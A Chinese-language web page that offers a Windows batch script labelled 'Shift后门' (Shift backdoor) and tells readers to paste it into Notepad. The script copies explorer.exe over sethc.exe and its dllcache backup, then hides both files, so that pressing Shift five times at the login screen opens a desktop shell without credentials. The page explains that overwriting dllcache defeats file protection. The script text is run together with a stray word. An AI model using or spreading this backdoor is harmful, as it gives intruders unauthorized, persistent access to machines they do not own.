注册
登录
| 关键词： windows echo system sethc exe 文件 百分之 dllcache nbsp 32 |
下面再打开记事本把底下的代码粘贴进去。 @echo offclsecho ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~echo.echo Shift后门echo.sproink @copy c:\windows\explorer.exe c:\windows\system32\sethc.exe @copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe @attrib c:\windows\system32\sethc.exe +h @attrib c:\windows\system32\dllcache\sethc.exe +h echo 使用方法:本文件执行完毕后,echo 在终端界面按Shift 5次即可登陆系统! echo.copy c:\windows\explorer.exe c:\windows\system32\sethc.exeecho 完成百分之 50copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exeecho 完成百分之 80attrib c:\windows\system32\sethc.exe +hecho 完成百分之 90attrib c:\windows\system32\dllcache\sethc.exe +hecho 完成百分之 100clsecho.echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~echo 后门安装完毕！echo.echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~echo.echo. & pause exit 其实原理很简单，就是利用了explorer.exe 这个资源管理器进程替换调用的shift 默认启动程序，然后还覆盖了windows的文件保护原文件（防止文件保护系统检测到文件修改，会还原这些原来的程序，造成copy文件失去作用），当调用shift是其实调用的真正程序是桌面进程。 |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
